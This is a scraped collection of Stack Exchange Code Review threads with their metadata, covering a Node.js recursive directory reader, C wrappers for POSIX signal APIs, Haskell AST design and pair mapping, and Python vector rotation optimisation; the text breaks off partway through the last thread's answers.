<p>I made a function for recursively reading a directory and it just seems kind of long and complicated. If you could take a look and tell me what's good or bad about it, that would be great.</p>
<p>Reading the directory synchronously is not an option.</p>
<pre><code>var dutils = require('./dutils');
module.exports = {
getIndex: function(ignore, cb) {
var root = this.root;
var cbs = 1;
var index = {};
// recursive function for walking directory
(function walk(dir) {
fs.readdir(dir, function(err, files) {
if (err) return cb(err);
files.forEach(function(fileName) {
// prepare
var filePath = path.join(dir, fileName); // filePath with root
var relFilePath = path.relative(root, filePath); // filePath without root
// if the file is on our ignore list don't index it
if (dutils.globmatch(filePath, ignore)) return;
var stats = fs.statSync(filePath);
var isDir = stats.isDirectory();
index[relFilePath] = {
isDir: isDir,
mtime: stats.mtime
};
// if the file is a directory, walk it next
if (isDir) {
// count the number of callbacks that are running concurrently
cbs++;
walk(filePath);
}
});
// our callback was completed
cbs--;
// if all callbacks were completed, we've completely walked our directory
if (cbs === 0) cb(null, index);
});
})(root);
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T14:37:22.253",
"Id": "82308",
"Score": "0",
"body": "You should read about control flow libraries, for example [async](https://github.com/caolan/async) or promises, for example [q](https://github.com/kriskowal/q)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:41:39.457",
"Id": "82421",
"Score": "0",
"body": "Thanks for your commment, @Prinzhorn. I use async a lot but I'm not quite sure how it can help me clean up this particular code. Which feature of async do you think I should be looking at to deal with recursive functions? Thank you for your help!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T17:53:06.070",
"Id": "82435",
"Score": "0",
"body": "What you are doing with your `cbs` counter is essentially `async.eachSeries(files, ...)`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:49:53.503",
"Id": "82497",
"Score": "0",
"body": "Ok, it looks like I can just dynamically add to the array, that's really cool. Thanks a lot!"
}
] | [
{
"body": "<p>My comments are inline starting with the <code>//*</code>. I also very much encourage you to look at async libraries <a href=\"https://www.npmjs.org/search?q=q\" rel=\"nofollow\">such as Q</a>.</p>\n\n<pre><code>var dutils = require('./dutils');\n\n//* Why export an object with a single function? Why not just export the function itself?\nmodule.exports = {\n //* I don't like intermixing method implementation with exports declaration because you tend to be \n //* looking for very different things when looking at each. Hoisting to the rescure!\n //* module.exports = { getIndex: getIndex };\n //* ... later ...\n //* function getIndex(ignore, cb) { \n //* ...\n getIndex: function(ignore, cb) {\n //* What if they didn't pass a callback? Might as well check here and throw an error. Otherwise\n //* there will be a confusing error later on\n\n //* What is `this`? I **highly** recommend not using the `this` parameter unless you \n //* understand _very_ well what it does and how it works. You can almost always achieve the same\n //* thing using simpler techniques\n var root = this.root;\n //* cds is not a good variable name - I have no idea what this represents reading it\n var cbs = 1;\n var index = {};\n\n // recursive function for walking directory\n (function walk(dir) {\n\n //* I usually prefer naming callback functions. Not only does it allow you to give a good\n //* label to the code but the function will show up labeled in stack traces\n fs.readdir(dir, function(err, files) {\n //* Be aware that it is possible for the callback to be triggered multiple times when there are \n //* errors. This is an unusual interface and just be certain that you do this on purpose\n if (err) return cb(err);\n\n //* Again, I would recommend labeling this function.\n //* Also I'm not sure if this will follow symlinks or not but if does then this might end up in\n //* an endless loop.\n files.forEach(function(fileName) {\n // prepare\n var filePath = path.join(dir, fileName); // filePath with root\n var relFilePath = path.relative(root, filePath); // filePath without root\n\n //* I don't think this is really a useful comment as it doesn't say much more than\n //* the code itself does. I also usually prefer putting the `return` statement for early returns\n //* on its own line to make the early return stand out visually.\n // if the file is on our ignore list don't index it\n if (dutils.globmatch(filePath, ignore)) return;\n\n var stats = fs.statSync(filePath);\n var isDir = stats.isDirectory();\n\n index[relFilePath] = {\n isDir: isDir,\n mtime: stats.mtime\n };\n\n //* This comment is not very useful as it - again - just restates what the code does\n // if the file is a directory, walk it next\n if (isDir) {\n // count the number of callbacks that are running concurrently\n cbs++;\n walk(filePath);\n }\n });\n\n // our callback was completed\n cbs--;\n\n // if all callbacks were completed, we've completely walked our directory\n if (cbs === 0) cb(null, index);\n\n //* Is the entire point of the `cbs` counter to see if any `readdir` operation resulted in an error?\n //* that seems to be all that it does. Why not just have a `var lastError = null` in `getIndex` and\n //* rather than checking for err do `if(lastError = err) return`. That way if `err` is truthy you have\n //* an error, otherwise you do not\n //*\n //* Also keep in mind that cb will be called multiple times but each time with the \n //* same instance of the index object. That means that previously invoked callbacks will be\n //* having this object mutate underneat them. This might be exactly what you want but it is unuaual\n //* and should definitely be documented clearly. At the very least you want a big bold doc comment\n //* on this function\n });\n })(root);\n }\n}\n</code></pre>\n\n<p><a href=\"https://github.com/togakangaroo/Blog/blob/master/javascript-on-this-and-new.md\" rel=\"nofollow\">Here is an article I wrote on <code>this</code> parameters</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:38:25.100",
"Id": "82420",
"Score": "0",
"body": "Thanks for taking the time to review my code. The function is part of a more complex object, it's just dumbed down for this post. Your article on `this` is really interesting, I'll definitely keep it in mind. `cbs` (\"callbacks\") is a counter for the number of asynchronous `fs.readdir`-calls. If it reaches `0`, I know that I'm done. You bring up a good point with `if (err) return cb(err);`. I really didn't consider that cb could be invoked multiple times with an error AND possibly even with an index after that. What do you think an elegant solution to this problem would be? Thank you very much!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:11:50.737",
"Id": "82506",
"Score": "0",
"body": "Well I don't know what your desired behavior is. Do you want to bail out after the first error? In that case you should track each error as I suggested toward the end. Or perhaps you want all errors to be rolled up and returned at once or an exception to be thrown?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:14:02.203",
"Id": "82507",
"Score": "0",
"body": "By the way as for my notes about the code comments you'll find a lot of the underpinning philosophy [in this excellent (and VERY long as always) Steve Yegge article](http://steve-yegge.blogspot.com/2008/02/portrait-of-n00b.html)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:24:36.590",
"Id": "82587",
"Score": "0",
"body": "Hey George, thanks for the quick reply! I want to bail out after the first error and actually @Prinzhorn's suggestion about using `async.eachSeries` solves this. My updated code following some of your suggestions now looks like this: http://snippi.com/s/mbdibu3 What do you think? Thank you very much for your help!"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:28:19.107",
"Id": "47014",
"ParentId": "46998",
"Score": "2"
}
},
{
"body": "<p>It's more efficient, better to maintain and the code becomes much cleaner if you use the promisify native Node function to transform the fs callback functions to promise based functions, then write your code with async/await style. </p>\n\n<p>Code:</p>\n\n<pre><code>const fs = require('fs');\nconst { promisify } = require('util');\nconst path = require('path');\nconst readDirAsync = promisify(fs.readdir);\n//\nconst sourcePath = process.argv[2] || './';\n// \n(async () => {\n\n // Main execution \n var finalRes = await scanDir(sourcePath);\n console.log('Scan result', finalRes);\n process.exit(0);\n\n // Recursive async function \n async function scanDir(dir) {\n const list = await readDirAsync(dir);\n // Array.map returns promisses because the argument function is async\n return Promise.all(list.map(async (name) => {\n try {\n // File (or directory) info \n const itemPath = path.join(dir, name);\n const stats = fs.statSync(itemPath);\n const isDir = stats.isDirectory();\n var children = null;\n // Recursion for directories \n if (isDir) {\n children = await scanDir(itemPath);\n }\n //\n return {\n name,\n itemPath,\n isDir,\n parent: dir,\n children\n };\n }\n catch (err) {\n console.error('Error in scanDir()', err);\n }\n }));\n } \n})();\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/ZnjdA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZnjdA.png\" alt=\"Scan output\"></a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2018-11-06T18:59:07.637",
"Id": "399584",
"Score": "2",
"body": "You have presented an alternative solution, but haven't reviewed the code. Please explain your reasoning (how your solution works and why it is better than the original) so that the author and other readers can learn from your thought process."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2018-11-07T18:29:00.820",
"Id": "399747",
"Score": "0",
"body": "It's better than the other solution specially because it's not necessary to manage callback counts, also, the code is cleaner and easier to maintain and use the latest features of javascript/node.js. It's modern, but still very standard node javascript. The main points are already commented. The fact you need more comments to understand a code like this is not a valid reason to downvote it. I recommend this link for more information on the mindset needed to write neat code like this: https://medium.com/@tkssharma/writing-neat-asynchronous-node-js-code-with-promises-async-await-fa8d8b0bcd7c"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2018-11-06T18:49:47.783",
"Id": "207094",
"ParentId": "46998",
"Score": "-1"
}
}
] | {
"AcceptedAnswerId": "47014",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T11:36:30.670",
"Id": "46998",
"Score": "3",
"Tags": [
"javascript",
"recursion",
"node.js"
],
"Title": "Recursively reading a directory in node.js"
} | 46998 |
<p>Please feel free to comment on the accuracy/validity of the following wrapper source for processing signals using the new POSIX sigaction API. If you feel I'm doing anything wrong or potentially dangerous, chime in.</p>
<p><em>Note:</em> <code>syserr</code> is a custom function not shown to exit gracefully.</p>
<hr>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
static struct sigaction *
handle_signal(int sig,
int flags,
void (*handler)())
{
static struct sigaction action;
static struct sigaction o_action;
/* init the sigaction structs */
memset(&action, 0, sizeof(action));
memset(&o_action, 0, sizeof(o_action));
/* setup our signal handler function to call when it fires */
action.sa_handler = handler;
/* initialize the signal mask */
sigemptyset(&action.sa_mask);
/* use the user passed in flags setting othersize init them */
if (flags != 0)
action.sa_flags = flags;
else
action.sa_flags = 0;
if (sigaction(sig, &action, &o_action) != 0)
syserr();
return(&o_action);
}
static struct sigaction *
ignore_signal(int sig)
{
static struct sigaction action;
static struct sigaction o_action;
/* init the sigaction structs */
memset(&action, 0, sizeof(action));
memset(&o_action, 0, sizeof(o_action));
/* setup to ignore this signal */
action.sa_handler = SIG_IGN;
/* initialize the signal mask */
sigemptyset(&action.sa_mask);
action.sa_flags = 0;
if (sigaction(sig, &action, &o_action) != 0)
syserr();
return(&o_action);
}
int
block_signal(int sig)
{
static sigset_t mask;
static sigset_t orig_mask;
int ret;
sigemptyset(&mask);
sigemptyset(&orig_mask);
sigaddset(&mask, sig);
ret = sigprocmask(SIG_BLOCK, &mask, &orig_mask);
return(ret);
}
int
unblock_signal(int sig)
{
static sigset_t mask;
static sigset_t orig_mask;
int ret;
sigemptyset(&mask);
sigemptyset(&orig_mask);
sigaddset(&mask, sig);
ret = sigprocmask(SIG_UNBLOCK, &mask, &orig_mask);
return(ret);
}
sigset_t *
get_signal_mask()
{
static sigset_t orig_mask;
sigemptyset(&orig_mask);
/* null in set arg means return current mask */
if (sigprocmask(SIG_SETMASK, NULL, &orig_mask) < 0)
syserr();
return(&orig_mask);
}
</code></pre>
| [] | [
{
"body": "<pre><code>static struct sigaction *\nhandle_signal(int sig,\n int flags,\n void (*handler)())\n{\n</code></pre>\n<p>Two things here:</p>\n<ul>\n<li><p>The signal handler function should have the signature <code>void handler(int signum);</code> <a href=\"http://linux.die.net/man/2/sigaction\" rel=\"noreferrer\">[man page for sigaction]</a> . Your compiler should — at the least — be warning you about assigning a function pointer of a different type further down.</p>\n</li>\n<li><p>The function returns a <code>struct sigaction *</code> containing the original disposition for the signal. None of the other functions shown accept a <code>struct sigaction *</code> as an argument, so it's not clear what you're doing with this information.</p>\n<p>If you need this information elsewhere, I suggest passing in a <code>struct sigaction *</code> as an additional argument. The POSIX sigaction() API allows you to pass NULL as the third parameter, so this would leave it to the caller to decide whether or not they wanted to provide a pointer to a real <code>struct sigaction</code>. This also ties into the use of statically allocated structures which I address next.</p>\n</li>\n</ul>\n<hr />\n<pre><code>static struct sigaction action;\nstatic struct sigaction o_action;\n</code></pre>\n<p>You declare all of your <code><signal.h></code> structures with <code>static</code> storage class, so there is only one instance of each of them in the program's memory space. If the program using this API is multithreaded, and this API is called from multiple locations, you can overwrite the variables on one thread while they're being populated from another, causing you lots of confusion. Since the following code immediately zeros out their memory, you can remove the <code>static</code> from the declarations, so that they get allocated on the stack. That way if the function is called from multiple threads, they each get their own copy and don't conflict with each other.</p>\n<hr />\n<pre><code>/* init the sigaction structs */\nmemset(&action, 0, sizeof(action));\nmemset(&o_action, 0, sizeof(o_action));\n\n/* setup our signal handler function to call when it fires */\naction.sa_handler = handler;\n\n/* initialize the signal mask */\nsigemptyset(&action.sa_mask);\n\n/* use the user passed in flags setting othersize init them */\nif (flags != 0)\n action.sa_flags = flags;\nelse\n action.sa_flags = 0;\n</code></pre>\n<p>The <code>else</code> clause is taken if <code>flags</code> has the value 0, so <code>action.sa_flags = 0</code> is equivalent to <code>action.sa_flags = flags</code>, so this whole if-statement could be collapsed to:</p>\n<pre><code>action.sa_flags = flags;\n</code></pre>\n<hr />\n<pre><code>if (sigaction(sig, &action, &o_action) != 0)\n syserr();\n\nreturn(&o_action);\n}\n</code></pre>\n<p>Taken altogether, this function could be rewritten:</p>\n<pre><code>static struct sigaction *\nhandle_signal(int sig,\n int flags,\n void (*handler)(int),\n struct sigaction *o_action)\n{\n struct sigaction action;\n\n memset(&action, 0, sizeof(action));\n /* Note: can't use sizeof(o_action) below because o_action is now a pointer */\n if(o_action != NULL)\n memset(o_action, 0, sizeof(action));\n\n /* setup our signal handler function to call when it fires */\n action.sa_handler = handler;\n\n /* initialize the signal mask */\n sigemptyset(&action.sa_mask);\n\n action.sa_flags = flags;\n\n if (sigaction(sig, &action, &o_action) != 0)\n syserr();\n\n return(o_action);\n}\n</code></pre>\n<p>If you're using the original signal disposition to restore things to their defaults later on, you could potentially drop <code>o_action</code> altogether and install <code>SIG_DFL</code> as the handler for that signal. Change the function to return <code>void</code>, only have the original three parameters, change the <code>sigaction</code> call to <code>sigaction(sig, &action, &o_action)</code> and remove the <code>return</code> statement at the end.</p>\n<hr />\n<pre><code>static struct sigaction *\nignore_signal(int sig)\n{\n /* Code elided */\n}\n</code></pre>\n<p>There's a lot of common code between this and <code>handle_signal</code> above; I'd suggest replacing the body of this function with a call to that function instead:</p>\n<pre><code>static struct sigaction *\nignore_signal(int sig)\n{\n return handle_signal(sig, 0, SIG_IGN);\n}\n</code></pre>\n<hr />\n<pre><code>int\nblock_signal(int sig)\n{\nstatic sigset_t mask;\nstatic sigset_t orig_mask;\nint ret;\n\nsigemptyset(&mask);\nsigemptyset(&orig_mask);\n\nsigaddset(&mask, sig);\n\nret = sigprocmask(SIG_BLOCK, &mask, &orig_mask);\n\nreturn(ret);\n}\n</code></pre>\n<p>You're not doing anything with the value of <code>orig_mask</code> after the return from <code>sigprocmask()</code>. This system call allows you to pass <code>NULL</code> <a href=\"http://linux.die.net/man/2/sigprocmask\" rel=\"noreferrer\">[man page for sigprocmask]</a>, so I suggest you change it to:</p>\n<pre><code>ret = sigprocmask(SIG_BLOCK, &mask, NULL);\n</code></pre>\n<hr />\n<pre><code>int\nunblock_signal(int sig)\n{\nstatic sigset_t mask;\nstatic sigset_t orig_mask;\nint ret;\n\nsigemptyset(&mask);\nsigemptyset(&orig_mask);\n\nsigaddset(&mask, sig);\n\nret = sigprocmask(SIG_UNBLOCK, &mask, &orig_mask);\n\nreturn(ret);\n\n}\n</code></pre>\n<p>Same advice about changing the <code>sigprocmask()</code> call as for block_signal() above. I also note that in the <code>get_signal_mask()</code> function below, you're calling your <code>syserr()</code> function if <code>sigprocmask()</code> fails. It seems to me that if you're exiting the program in that situation, you should also be doing it here where you're actually changing the mask, not merely querying its value.</p>\n<p>Additionally, <code>block_signal()</code> and <code>unblock_signal()</code> differ only in the first argument to <code>sigprocmask()</code>, so I'd suggest refactoring the code in both functions into a single helper function that accepts the SIG_BLOCK or SIG_UNBLOCK argument.</p>\n<hr />\n<pre><code>sigset_t *\nget_signal_mask()\n{\nstatic sigset_t orig_mask;\n\nsigemptyset(&orig_mask);\n\n/* null in set arg means return current mask */\nif (sigprocmask(SIG_SETMASK, NULL, &orig_mask) < 0)\n syserr();\n\nreturn(&orig_mask);\n\n}\n</code></pre>\n<p>Again, you're returning a pointer to a statically allocated instance of <code>sigset_t</code>. On multithreaded programs, this can cause problems as already explained. I suggest changing it either to accept a <code>sigset_t *</code> argument, so that the caller must provide the instance to populate (this is the more C-like way of doing it):</p>\n<pre><code>sigset_t *\nget_signal_mask(sigset_t *orig_mask)\n{\n sigemptyset(orig_mask);\n /* null in set arg means return current mask */\n if (sigprocmask(SIG_SETMASK, NULL, orig_mask) < 0)\n syserr();\n\n return(orig_mask);\n}\n</code></pre>\n<p><strong>OR</strong> have the function return the <code>sigset_t</code> by value and remove the <code>static</code> from the declaration of <code>orig_mask</code> (this is the more C++-like way of doing it):</p>\n<pre><code>sigset_t \nget_signal_mask()\n{\n sigset_t orig_mask;\n sigemptyset(&orig_mask);\n\n /* null in set arg means return current mask */\n if (sigprocmask(SIG_SETMASK, NULL, &orig_mask) < 0)\n syserr();\n\n return(orig_mask);\n}\n</code></pre>\n<p>Both methods are valid in both languages, so whichever you prefer.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:12:55.193",
"Id": "47004",
"ParentId": "46999",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T11:42:21.987",
"Id": "46999",
"Score": "11",
"Tags": [
"c",
"linux",
"wrapper"
],
"Title": "Set of wrapper functions for POSIX signal APIs on Linux"
} | 46999 |
<p>I'm writing the data structures for my program (a toy compiler), and I'm trying to understand what's the best way to define the AST:</p>
<p>Current code</p>
<pre><code>data RExpr = RExpr Location InnerRExpr
data InnerRExpr = RLExpr LExpr | RConstant Constant | RMathExpr MathExpr | FCall Id [RExpr]
</code></pre>
<p>Alternative A</p>
<pre><code>data RExpr = RLExpr Location LExpr
| RConstant Location Constant
| RMathExpr Location MathExpr
| FCall Location Id [RExpr]
</code></pre>
<p>Alternative B</p>
<pre><code>data RExpr = RLExpr { loc::Location, getLexpr::LExpr}
| RConstant { loc::Location, getConstant::Constant}
| RMathExpr { loc::Location, getExpr::MathExpr}
| FCall { loc::Location, id::Id, params::[RExpr] }
</code></pre>
<p>Honestly I'm not satisfied with either of the three options, because the current code means that I have an extraneous object in the AST which doesn't really mean anything, alternative A means that I have to pattern match every time I want to extract the location (or write a boilerplate function that does it) and alternative B means cluttering the global namespace with functions whose names are likely to collide.</p>
<p>Suggestions?</p>
| [] | [
{
"body": "<p>I tend towards the former, and then use a lens or traversal to extract the location.</p>\n\n<pre><code>import Control.Lens\n\nclass HasLocation t where\n loc :: Lens' t Location\n\ninstance HasLocation RExpr where\n loc f (RLExpr l e) = f l <&> \\l' -> RLExpr l' e\n loc f (RConstant l c) = f l <&> \\l' -> RConstant l' c\n loc f (RMathExpr l m) = f l <&> \\l' -> RMathExpr l' m\n loc f (FCall l i xs) = f l <&> \\l' -> FCall l' i xs\n</code></pre>\n\n<p>With the <code>class</code> you can overload the use of <code>loc</code> for other data types. Because it is a lens you can use it to get/set/modify the location with a large vocabulary without cluttering your namespace.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T13:35:00.750",
"Id": "82304",
"Score": "0",
"body": "`Control.Lens`... never heard of it. I'll look it up, thanks"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T13:49:52.977",
"Id": "82305",
"Score": "1",
"body": "I *knew* I was reinventing the wheel! I had a (specialization of) lenses in my code already. Cleaning up and using lenses, thank you very much"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T13:27:20.320",
"Id": "47001",
"ParentId": "47000",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "47001",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T13:18:44.030",
"Id": "47000",
"Score": "1",
"Tags": [
"haskell"
],
"Title": "What's more idiomatic in Haskell?"
} | 47000 |
<p>I have a trivial function that rotates 2d vectors, and a method in a class representing a polygon that rotates every point in the polygon around an origin. The code is fairly optimized as it is, but I was wondering if there is any faster way of doing it, since the function is called a HUGE amount of times and I need it to be as fast as it can possibly be.</p>
<p>Here is the code for the rotation function (in a file called <code>geo.py</code>):</p>
<pre><code>def rotate_vector(v, angle, anchor):
"""Rotate a vector `v` by the given angle, relative to the anchor point."""
x, y = v
x = x - anchor[0]
y = y - anchor[1]
# Here is a compiler optimization; inplace operators are slower than
# non-inplace operators like above. This function gets used a lot, so
# performance is critical.
cos_theta = math.cos(angle)
sin_theta = math.sin(angle)
nx = x*cos_theta - y*sin_theta
ny = x*sin_theta + y*cos_theta
nx = nx + anchor[0]
ny = ny + anchor[1]
return [nx, ny]
</code></pre>
<p>And here is the code for the polygon object:</p>
<pre><code>import geo
class ConvexFrame(object):
"""A basic convex polygon object."""
def __init__(self, *coordinates, origin=None):
self._origin = origin
# The coordinates in this object are stored as offset values, that is,
# coordinates that represent a certain displacement from the given origin.
# We will see later that if the origin is None, then it is set to the
# centroid of all the points.
self._offsets = []
if not self._origin:
# Calculate the centroid of the points if no origin given.
self._origin = geo.centroid(*coordinates)
orx, ory = self._origin
append_to_offsets = self._offsets.append
for vertex in coordinates:
# Calculate the offset values for the given coordinates
x, y = vertex
offx = x - orx
offy = y - ory
append_to_offsets([offx, offy])
offsets = self._offsets
left = geo.to_the_left
# geo.to_the_left takes three vectors (v0, v1 and v2) and tests if vector v2
# lies to the left of the line between v0 and v1. The offset values are input
# in counter-clockwise order, so all points v(i) should lie to the left of the
# the line v(i-2)v(i-1).
n = len(offsets)
for i in range(n):
v0 = offsets[i-1]
v1 = offsets[i]
v2 = offsets[(i+1)%n]
if not left(v0, v1, v2):
raise ValueError("""All vertices of the polygon must be convex.""")
def rotate(self, angle, anchor=(0, 0)):
# Avg runtime for 4 vertices: 7.2e-06s
orx, ory = self._origin
x, y = anchor
if x or y:
# Default values of x and y (0, 0) indicate
# for the method to use the frame origin as
# the anchor. Since we are rotating the offset
# values and not actually the coordinates, we
# have to adjust the anchor relative to the origin.
x = x - orx
y = y - ory
_rot = geo.rotate_vector
self._offsets = [_rot(v, angle, (x, y)) for v in self._offsets]
</code></pre>
<p>If I can get this below 3e-06s for 4 vertices that would be phenomenally helpful.</p>
<p><strong>UPDATE 1:</strong></p>
<p>Just found an optimization; in the list comprehension I say <code>(x, y)</code> every iteration, meaning I have to rebuild the tuple every single iteration. Removing that shaves the time down to between 7e-06 and 6.9e-06s for 4 vertices.</p>
<pre><code>def rotate2(self, angle, anchor=(0, 0)):
# Avg runtime for 4 vertices: 7.0e-06s
# Best time of 50 tests: 6.92e-06s
orx, ory = self._origin
x, y = anchor
if x or y:
# Default values of x and y (0, 0) indicate
# for the method to use the frame origin as
# the anchor.
x = x - orx
y = y - ory
anchor = x, y
_rot = geo.rotate_vector
self._offsets = [_rot(v, angle, anchor) for v in self._offsets]
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T14:51:56.907",
"Id": "82310",
"Score": "0",
"body": "You might want to try OpenCL/CUDA. They are PyOpenCL and PyCUDA. The neat thing about using the GPU for computing is that it is extremely parallel."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T14:54:25.560",
"Id": "82311",
"Score": "0",
"body": "I've heard of PyCUDA and PyOpenCL before but I wasn't able to find any decent tutorials on them. Could you suggest one to me please?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:06:08.047",
"Id": "82312",
"Score": "0",
"body": "https://www.youtube.com/watch?v=aKtpZuokeEk I would really recommend you grabbed a book.\n\nThe way to do it would be with a transformation matrix/matrices. https://en.wikipedia.org/wiki/Rotation_matrix\n\nAnd here is a NYU intro http://www.cs.nyu.edu/~lerner/spring12/Preso07-OpenCL.pdf"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:16:07.450",
"Id": "82313",
"Score": "0",
"body": "Thanks for the references! However, assuming I didn't have the ability to utilize these systems, how may this code be optimized? Is it as fast as it's gonna get or are there ways that it could be made faster without using the GPU?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2017-02-17T15:01:55.197",
"Id": "294620",
"Score": "0",
"body": "Did you know that your question is named in http://meta.codereview.stackexchange.com/questions/1763/for-an-iterative-review-is-it-okay-to-edit-my-own-question-to-include-revised-c/1765#1765 as being a bad example?"
}
] | [
{
"body": "<p>You will likely be rotating many vectors by the same angle. Therefore, it would be wasteful to compute \\$\\cos \\theta\\$ and \\$\\sin \\theta\\$ repeatedly.</p>\n\n<p>The typical way to think of linear transformations is as matrix multiplication:</p>\n\n<p>$$\n\\left[ \\begin{array}{c} x' \\\\ y' \\end{array} \\right] =\n\\left[ \\begin{array}{rr}\n \\cos \\theta & -\\sin \\theta \\\\\n \\sin \\theta & \\cos \\theta\n\\end{array}\\ \\right]\n\\left[ \\begin{array}{c} x \\\\ y \\end{array} \\right]\n$$</p>\n\n<p>So, define a <code>make_rotation_transformation(angle, origin)</code> function that returns a closure that holds the transformation matrix and origin vector.</p>\n\n<pre><code>from math import cos, sin\n\ndef make_rotation_transformation(angle, origin=(0, 0)):\n cos_theta, sin_theta = cos(angle), sin(angle)\n x0, y0 = origin\n def xform(point):\n x, y = point[0] - x0, point[1] - y0\n return (x * cos_theta - y * sin_theta + x0,\n x * sin_theta + y * cos_theta + y0)\n return xform\n</code></pre>\n\n<hr>\n\n<pre><code>def rotate(self, angle, anchor=(0, 0)):\n xform = make_rotation_transformation(angle, anchor)\n self._offsets = [xform(v) for v in self._offsets]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T16:22:42.447",
"Id": "47008",
"ParentId": "47003",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47008",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T14:36:52.660",
"Id": "47003",
"Score": "5",
"Tags": [
"python",
"optimization",
"matrix",
"computational-geometry"
],
"Title": "Optimize vector rotation"
} | 47003 |
<p>I need a function (I named it <code>applyToEveryPair</code>) that works on lists, e.g. <code>[x0,x1,x2,x3,...]</code>, and uses a function
<code>f:: (a,a) -> [(a,a)]</code>. For every (distinct) pair <code>(xi,xj)</code>, <code>i/=j</code> of the list
I want all lists where <code>xi</code> is replaced by <code>yik</code> and <code>xj</code> is replaced by <code>yjk</code> where <code>xik</code> is the output of <code>f</code>.</p>
<p>This visualizes input and output</p>
<pre><code>[a0, a1 ,a2 ,a3 ] -- input to applyToEveryPair
| |
| |
v v
f(a0, a1) =[(b0,b1),(c0,c1)]
| |
v v
[b0, b1, a2, a3] -- to be included in output
[c0, c1, a2, a3] -- to be included in output
... -- more output
| | -- now combine (a3,a1)
\ /
\ /
\/
/\
/ \
f(a3, a1) =
[(d3, d1)]
\ /
\/
/\
/ \
/ \
[a0, d1 ,a2 ,d3 ] -- to be included in output
</code></pre>
<p>A use case would be to input a matrix and compute all resulting matrices for every (pairwise) line swap (<code>f</code> swaps lines), or, in my case, all possible move in a solitaire game from one stack of cards to another.</p>
<p>Long story, short code; This is how I do it so far:</p>
<pre><code>applyToEveryPair :: ((a,a) -> [(a,a)]) -> [a] -> [[a]]
applyToEveryPair f (xs) = do i<-[0..length xs - 1]
j<-[0..length xs - 1]
guard (i /= j)
(x',y') <- f (xs !! i, xs !! j)
return . setList i x' . setList j y' $ xs
-- | setList n x xs replaces the nth element in xs by x
setList :: Int -> a -> [a] -> [a]
setList = go 0 where
go _ _ _ [] = []
go i n x' (x:xs) | i == n = x':xs
| otherwise = x:(go (i+1) n x' xs)
</code></pre>
<p>I think comonads are overkill here, and I have not understood Lenses (yet),
but have a vague feeling lenses apply here.</p>
<p>The solution I use feels not very haskellish. I want to know if this is a good way to write it, but especially the double use of <code>setList</code> looks terrible to me. How to speed up / beautify this code?</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:01:45.623",
"Id": "82549",
"Score": "0",
"body": "can you please provide example of `f :: (a,a) -> [(a,a)]`? how it can swap lines?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:14:14.690",
"Id": "82566",
"Score": "0",
"body": "I think an example would be `return . swap`, when `a` is `[b]`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T10:38:18.077",
"Id": "82572",
"Score": "1",
"body": "I can't find a much better way to do this, but I would suggest using `Vector` instead of `[]`, as it has much better indexed access performance, and you wouldn't have to implement `setList`."
}
] | [
{
"body": "<p>I don't think there is a much nicer way to do this. However, on the performance side, you should definitely use a data structure with constant time random access, such as <code>Vector</code>. That would save you from writing the <code>setList</code> function.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T08:24:08.370",
"Id": "47445",
"ParentId": "47005",
"Score": "1"
}
},
{
